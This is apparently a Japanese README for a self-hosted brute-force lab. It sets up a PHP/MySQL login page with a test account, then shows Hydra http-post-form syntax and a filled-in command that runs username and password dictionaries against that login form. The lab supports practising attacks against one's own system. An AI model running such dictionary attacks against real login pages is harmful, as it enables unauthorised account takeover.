- php 7.4以上
- mysql
- サーバーはご自由に
ご自身のmysqlで好きな名前のデータベースを作成してください。 この例では、 brute_forceとします
CREATE DATABASE brute_force;
USE brute_force;
データベースに入って、SQL文でテーブルを作成します。
- ユーザーテーブルを作成
CREATE TABLE users (id INT(11) AUTO_INCREMENT PRIMARY KEY, email VARCHAR(191),password VARCHAR(191)) engine=innodb default charset=utf8;
- ユーザーテーブルにデータをいれる
※パスワードは「password」のハッシュにしている
INSERT INTO users(email,password) VALUES('test@test.com','$2y$10$UrkWlgzm4TrIFiYEZA9KVeHE3MKlP.uumWK6rxgQ7Q006g0MWTzfi');
データベースの情報をソースに直書きするわけにはいかないので、 機密情報をenvファイルにいれています。 そのためのライブラリをインストールします。
composer install
ルートディレクトリ(index.phpと同じ階層)に「.env」という名前のファイルを作成してください 中身はご自身のデータベース情報をいれてください。
DB_HOST=localhost
DB_NAME=brute_force
DB_USERNAME=root
DB_PASSWORD=
僕の場合はphpのビルトインサーバーを使用するので下記のコマンドでいけます。 ※xamppなど自分が普段使っているものがあればそちらをご使用ください。
php -S 127.0.0.1:3000
これの場合は http://127.0.0.1:3000
にアクセスして、ログインページが映ればOKです!
【ログイン情報】 メールアドレス: test@test.com パスワード: password
macの場合homebrewでインストールできます
brew install hydra
hydraはこのような構文でコマンドを打ちます
hydra -L {ユーザーIDの辞書ファイルへのパス} -P {パスワードの辞書ファイルへのパス}} {ドメインもしくはIPアドレス} http-post-form '{パス}:{ログインフォームのログインIDのname}=^USER^&{ログインフォームのパスワードのname}=^PASS^:{ログイン失敗時のメッセージ}'
なので実際はこのようになります
hydra -L files/id -P files/password example.com http-post-form '/login.php:email=^USER^&password=^PASS^:メールアドレスもしくはパスワードが異なります'
成功した場合は成功したログインIDとパスワードが表示されます。
ちなみにポートは80番を想定しているようなのでローカルでは試せなさそうです。 何かのサーバーにアップしてからお試しください。 僕の場合はngrokを使用して試しています。